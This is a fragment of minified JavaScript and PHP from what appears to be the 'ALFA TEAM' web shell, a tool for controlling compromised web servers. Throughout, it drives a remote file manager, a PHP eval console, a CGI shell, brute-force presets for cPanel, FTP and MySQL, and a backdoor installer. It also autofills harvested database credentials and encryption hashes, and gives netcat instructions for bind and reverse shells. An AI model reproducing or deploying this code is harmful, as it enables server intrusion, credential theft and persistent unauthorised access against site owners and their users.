class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&amp;path="+c_+"&amp;file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"&current_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php echo __ALFA_SECRET_KEY__; ?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
<?php echo"<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>
<input type='hidden' name='a' value='dlfile'>
<input type='hidden' name='c' value=''>
<input type='hidden' name='file' value=''>
</form>
<input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>
